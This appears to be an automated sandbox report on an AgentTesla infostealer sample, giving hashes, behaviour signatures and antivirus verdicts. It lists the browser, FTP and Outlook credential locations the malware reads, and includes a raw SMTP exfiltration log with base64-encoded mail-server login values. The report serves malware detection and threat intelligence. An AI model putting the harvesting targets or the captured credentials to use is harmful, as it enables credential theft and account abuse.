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AgentTesla_f658c071737e17301fb5997b9314531e_exe_2019-07-17_18_30.txt

paladin316
Jul 17th, 2019
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  1. * MalFamily: "FEB2373B"
  2.  
  3. * MalScore: 10.0
  4.  
  5. * File Name: "AgentTesla_f658c071737e17301fb5997b9314531e.exe"
  6. * File Size: 1087488
  7. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  8. * SHA256: "26c17627e83afeaa8fa9731108eeac2442ed24cf5a424f6c064c5201075485f8"
  9. * MD5: "f658c071737e17301fb5997b9314531e"
  10. * SHA1: "5c48e009d5f74869e39f0ee09cca5be9a3b8c359"
  11. * SHA512: "0d9572aba0e2a510402ee44f04b95a992edefd211a2f9253f968a0ce93144951cc2e9dd38cec97caec1ce2fe94df37ffa785a971a8c76eec6a3138e79761e9d8"
  12. * CRC32: "FEB2373B"
  13. * SSDEEP: "24576:orIKt0CU+YM7oG2VB+XwK6G9o47GQuWcuzGnlOm:4KNVB0a1lOm"
  14.  
  15. * Process Execution:
  16. "AgentTesla_f658c071737e17301fb5997b9314531e.exe",
  17. "AgentTesla_f658c071737e17301fb5997b9314531e.exe",
  18. "services.exe",
  19. "svchost.exe",
  20. "WmiPrvSE.exe",
  21. "svchost.exe",
  22. "lsass.exe",
  23. "taskhost.exe"
  24.  
  25.  
  26. * Executed Commands:
  27. "\"C:\\Users\\user\\AppData\\Local\\Temp\\AgentTesla_f658c071737e17301fb5997b9314531e.exe\"",
  28. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
  29. "C:\\Windows\\system32\\lsass.exe"
  30.  
  31.  
  32. * Signatures Detected:
  33.  
  34. "Description": "Creates RWX memory",
  35. "Details":
  36.  
  37.  
  38. "Description": "A process attempted to delay the analysis task.",
  39. "Details":
  40.  
  41. "Process": "AgentTesla_f658c071737e17301fb5997b9314531e.exe tried to sleep 1751 seconds, actually delayed analysis time by 0 seconds"
  42.  
  43.  
  44.  
  45.  
  46. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  47. "Details":
  48.  
  49. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  50.  
  51.  
  52. "suspicious_request": "http://checkip.amazonaws.com/"
  53.  
  54.  
  55.  
  56.  
  57. "Description": "Performs some HTTP requests",
  58. "Details":
  59.  
  60. "url": "http://checkip.amazonaws.com/"
  61.  
  62.  
  63.  
  64.  
  65. "Description": "The binary likely contains encrypted or compressed data.",
  66. "Details":
  67.  
  68. "section": "name: .rsrc, entropy: 7.34, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_SHARED|IMAGE_SCN_MEM_READ, raw_size: 0x0004fa00, virtual_size: 0x0004f9e4"
  69.  
  70.  
  71.  
  72.  
  73. "Description": "Executed a process and injected code into it, probably while unpacking",
  74. "Details":
  75.  
  76. "Injection": "AgentTesla_f658c071737e17301fb5997b9314531e.exe(2324) -> AgentTesla_f658c071737e17301fb5997b9314531e.exe(980)"
  77.  
  78.  
  79.  
  80.  
  81. "Description": "Sniffs keystrokes",
  82. "Details":
  83.  
  84. "SetWindowsHookExW": "Process: AgentTesla_f658c071737e17301fb5997b9314531e.exe(980)"
  85.  
  86.  
  87.  
  88.  
  89. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  90. "Details":
  91.  
  92. "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 9872165 times"
  93.  
  94.  
  95.  
  96.  
  97. "Description": "Steals private information from local Internet browsers",
  98. "Details":
  99.  
  100. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
  101.  
  102.  
  103. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  104.  
  105.  
  106.  
  107.  
  108. "Description": "Retrieves Windows ProductID, probably to fingerprint the sandbox",
  109. "Details":
  110.  
  111.  
  112. "Description": "File has been identified by 22 Antiviruses on VirusTotal as malicious",
  113. "Details":
  114.  
  115. "FireEye": "Generic.mg.f658c071737e1730"
  116.  
  117.  
  118. "Cylance": "Unsafe"
  119.  
  120.  
  121. "Invincea": "heuristic"
  122.  
  123.  
  124. "Symantec": "Packed.Generic.516"
  125.  
  126.  
  127. "APEX": "Malicious"
  128.  
  129.  
  130. "Paloalto": "generic.ml"
  131.  
  132.  
  133. "Kaspersky": "UDS:DangerousObject.Multi.Generic"
  134.  
  135.  
  136. "TrendMicro": "TrojanSpy.Win32.LOKI.SMDD.hp"
  137.  
  138.  
  139. "McAfee-GW-Edition": "BehavesLike.Win32.Fareit.tc"
  140.  
  141.  
  142. "Microsoft": "Trojan:Win32/Wacatac.B!ml"
  143.  
  144.  
  145. "Endgame": "malicious (high confidence)"
  146.  
  147.  
  148. "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
  149.  
  150.  
  151. "AhnLab-V3": "Win-Trojan/Delphiless.Exp"
  152.  
  153.  
  154. "Acronis": "suspicious"
  155.  
  156.  
  157. "McAfee": "Artemis!F658C071737E"
  158.  
  159.  
  160. "TrendMicro-HouseCall": "TrojanSpy.Win32.LOKI.SMDD.hp"
  161.  
  162.  
  163. "Rising": "Trojan.Injector!1.AFE3 (CLASSIC)"
  164.  
  165.  
  166. "SentinelOne": "DFI - Suspicious PE"
  167.  
  168.  
  169. "Fortinet": "W32/Injector.EGKJ!tr"
  170.  
  171.  
  172. "Cybereason": "malicious.9d5f74"
  173.  
  174.  
  175. "CrowdStrike": "win/malicious_confidence_100% (W)"
  176.  
  177.  
  178. "Qihoo-360": "HEUR/QVM05.1.9663.Malware.Gen"
  179.  
  180.  
  181.  
  182.  
  183. "Description": "Checks the CPU name from registry, possibly for anti-virtualization",
  184. "Details":
  185.  
  186.  
  187. "Description": "Harvests credentials from local FTP client softwares",
  188. "Details":
  189.  
  190. "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
  191.  
  192.  
  193. "file": "C:\\Users\\user\\AppData\\Roaming\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\"
  194.  
  195.  
  196. "file": "C:\\Users\\user\\AppData\\Roaming\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\*.xml"
  197.  
  198.  
  199. "file": "C:\\Users\\user\\AppData\\Roaming\\FTPGetter\\servers.xml"
  200.  
  201.  
  202. "file": "C:\\Users\\user\\AppData\\Roaming\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini"
  203.  
  204.  
  205. "file": "C:\\cftp\\Ftplist.txt"
  206.  
  207.  
  208. "key": "HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites"
  209.  
  210.  
  211.  
  212.  
  213. "Description": "Harvests information related to installed mail clients",
  214. "Details":
  215.  
  216. "file": "C:\\Users\\user\\AppData\\Roaming\\Thunderbird\\profiles.ini"
  217.  
  218.  
  219. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"
  220.  
  221.  
  222. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  223.  
  224.  
  225. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password"
  226.  
  227.  
  228. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
  229.  
  230.  
  231. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Password"
  232.  
  233.  
  234. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  235.  
  236.  
  237. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Password"
  238.  
  239.  
  240. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  241.  
  242.  
  243. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password"
  244.  
  245.  
  246. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
  247.  
  248.  
  249. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password"
  250.  
  251.  
  252. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password"
  253.  
  254.  
  255. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
  256.  
  257.  
  258. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password"
  259.  
  260.  
  261. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password"
  262.  
  263.  
  264. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
  265.  
  266.  
  267.  
  268.  
  269. "Description": "Makes SMTP requests, possibly sending spam or exfiltrating data.",
  270. "Details":
  271.  
  272. "SMTP": "208.91.199.223 (us2.smtp.mailhostbox.com)"
  273.  
  274.  
  275.  
  276.  
  277. "Description": "Collects information to fingerprint the system",
  278. "Details":
  279.  
  280.  
  281. "Description": "Anomalous binary characteristics",
  282. "Details":
  283.  
  284. "anomaly": "Timestamp on binary predates the release date of the OS version it requires by at least a year"
  285.  
  286.  
  287.  
  288.  
  289.  
  290. * Started Service:
  291. "VaultSvc"
  292.  
  293.  
  294. * Mutexes:
  295. "Global\\CLR_CASOFF_MUTEX",
  296. "Global\\.net clr networking",
  297. "Local\\_!MSFTHISTORY!_",
  298. "Local\\c:!users!user!appdata!local!microsoft!windows!temporary internet files!content.ie5!",
  299. "Local\\c:!users!user!appdata!roaming!microsoft!windows!cookies!",
  300. "Local\\c:!users!user!appdata!local!microsoft!windows!history!history.ie5!"
  301.  
  302.  
  303. * Modified Files:
  304. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat",
  305. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat",
  306. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat",
  307. "C:\\Users\\user\\AppData\\Roaming\\FO68y1o5MV.jpeg",
  308. "C:\\Users\\user\\AppData\\Roaming\\scyuffsx.pga\\Chrome\\Default\\Cookies",
  309. "C:\\Users\\user\\AppData\\Roaming\\scyuffsx.pga.zip",
  310. "C:\\Users\\user\\AppData\\Roaming\\CoDOfcHoVW.jpeg",
  311. "C:\\Users\\user\\AppData\\Roaming\\UIVgmu6M1x.jpeg",
  312. "C:\\Users\\user\\AppData\\Roaming\\Sx0L4U4y49.jpeg",
  313. "C:\\Users\\user\\AppData\\Roaming\\RZ4m00872r.jpeg",
  314. "C:\\Users\\user\\AppData\\Roaming\\ZGJ0P8EqH8.jpeg",
  315. "\\??\\PIPE\\samr",
  316. "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
  317. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
  318. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
  319. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
  320. "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
  321. "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
  322. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
  323. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
  324. "\\??\\WMIDataDevice",
  325. "C:\\Windows\\sysnative\\LogFiles\\Scm\\8d661786-e909-433d-bd16-a47ccb39306a",
  326. "C:\\Windows\\sysnative\\LogFiles\\Scm\\5869f1c1-01d7-41f7-84b7-715672259fa8"
  327.  
  328.  
  329. * Deleted Files:
  330. "C:\\Users\\user\\AppData\\Roaming\\scyuffsx.pga\\Chrome\\Default\\Cookies",
  331. "C:\\Users\\user\\AppData\\Roaming\\scyuffsx.pga\\Chrome\\Default",
  332. "C:\\Users\\user\\AppData\\Roaming\\scyuffsx.pga\\Chrome",
  333. "C:\\Users\\user\\AppData\\Roaming\\scyuffsx.pga",
  334. "C:\\Users\\user\\AppData\\Roaming\\scyuffsx.pga.zip",
  335. "C:\\Users\\user\\AppData\\Roaming\\Sx0L4U4y49.jpeg",
  336. "C:\\Users\\user\\AppData\\Roaming\\RZ4m00872r.jpeg"
  337.  
  338.  
  339. * Modified Registry Keys:
  340. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\AgentTesla_f658c071737e17301fb5997b9314531e_RASAPI32",
  341. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\AgentTesla_f658c071737e17301fb5997b9314531e_RASAPI32\\EnableFileTracing",
  342. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\AgentTesla_f658c071737e17301fb5997b9314531e_RASAPI32\\EnableConsoleTracing",
  343. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\AgentTesla_f658c071737e17301fb5997b9314531e_RASAPI32\\FileTracingMask",
  344. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\AgentTesla_f658c071737e17301fb5997b9314531e_RASAPI32\\ConsoleTracingMask",
  345. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\AgentTesla_f658c071737e17301fb5997b9314531e_RASAPI32\\MaxFileSize",
  346. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\AgentTesla_f658c071737e17301fb5997b9314531e_RASAPI32\\FileDirectory",
  347. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
  348. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
  349. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
  350. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
  351. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
  352. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
  353. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
  354. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider"
  355.  
  356.  
  357. * Deleted Registry Keys:
  358.  
  359. * DNS Communications:
  360.  
  361. "type": "A",
  362. "request": "checkip.amazonaws.com",
  363. "answers":
  364.  
  365. "data": "52.206.161.133",
  366. "type": "A"
  367.  
  368.  
  369. "data": "checkip.check-ip.aws.a2z.com",
  370. "type": "CNAME"
  371.  
  372.  
  373. "data": "52.6.79.229",
  374. "type": "A"
  375.  
  376.  
  377. "data": "34.197.157.64",
  378. "type": "A"
  379.  
  380.  
  381. "data": "checkip.us-east-1.prod.check-ip.aws.a2z.com",
  382. "type": "CNAME"
  383.  
  384.  
  385. "data": "34.233.102.38",
  386. "type": "A"
  387.  
  388.  
  389. "data": "52.202.139.131",
  390. "type": "A"
  391.  
  392.  
  393. "data": "18.211.215.84",
  394. "type": "A"
  395.  
  396.  
  397.  
  398.  
  399. "type": "A",
  400. "request": "us2.smtp.mailhostbox.com",
  401. "answers":
  402.  
  403. "data": "208.91.199.224",
  404. "type": "A"
  405.  
  406.  
  407. "data": "208.91.199.223",
  408. "type": "A"
  409.  
  410.  
  411. "data": "208.91.199.225",
  412. "type": "A"
  413.  
  414.  
  415. "data": "208.91.198.143",
  416. "type": "A"
  417.  
  418.  
  419.  
  420.  
  421.  
  422. * Domains:
  423.  
  424. "ip": "208.91.199.223",
  425. "domain": "us2.smtp.mailhostbox.com"
  426.  
  427.  
  428. "ip": "52.6.79.229",
  429. "domain": "checkip.amazonaws.com"
  430.  
  431.  
  432.  
  433. * Network Communication - ICMP:
  434.  
  435. * Network Communication - HTTP:
  436.  
  437. "count": 1,
  438. "body": "",
  439. "uri": "http://checkip.amazonaws.com/",
  440. "user-agent": "",
  441. "method": "GET",
  442. "host": "checkip.amazonaws.com",
  443. "version": "1.1",
  444. "path": "/",
  445. "data": "GET / HTTP/1.1\r\nHost: checkip.amazonaws.com\r\nConnection: Keep-Alive\r\n\r\n",
  446. "port": 80
  447.  
  448.  
  449.  
  450. * Network Communication - SMTP:
  451.  
  452. "raw": "EHLO Host\r\nAUTH login ZnJhbmtqb2VAZW5naW5lbG9ncm9vbS50b3A=\r\nWXZ1T3Z5IzA=\r\nMAIL FROM:<[email protected]>\r\nRCPT TO:<[email protected]>\r\nEHLO Host\r\nAUTH login ZnJhbmtqb2VAZW5naW5lbG9ncm9vbS50b3A=\r\nWXZ1T3Z5IzA=\r\nEHLO Host\r\nAUTH login ZnJhbmtqb2VAZW5naW5lbG9ncm9vbS50b3A=\r\nWXZ1T3Z5IzA=\r\nMAIL FROM:<[email protected]>\r\nRCPT TO:<[email protected]>\r\nDATA\r\nMIME-Version: 1.0\r\nFrom: [email protected]\r\nTo: [email protected]\r\nDate: 17 Jul 2019 22:13:58 -0700\r\nSubject: user/Host Screen Capture\r\nContent-Type: multipart/mixed; boundary=--boundary_0_e0a5ad52-24c6-415c-b767-2f0864f5ce5a\r\n\r\n\r\n----boundary_0_e0a5ad52-24c6-415c-b767-2f0864f5ce5a\r\nContent-Type: text/html; charset=us-ascii\r\nContent-Transfer-Encoding: quoted-printable\r\n\r\nTime: 07/17/2019 21:58:22<br>UserName: user<br>ComputerName: Host<br>OSFullName:=\r\n Win32NT<br>CPU: Unknown<br>RAM: 4095.55 MB<br>IP: 0.0.0.0=0A<hr>\r\n----boundary_0_e0a5ad52-24c6-415c-b767-2f0864f5ce5a\r\nContent-Type: application/octet-stream; name=Sx0L4U4y49.jpeg\r\nContent-Transfer-Encoding:
  453. "dst": "208.91.199.223"
  454.  
  455.  
  456.  
  457. * Network Communication - Hosts:
  458.  
  459. * Network Communication - IRC:
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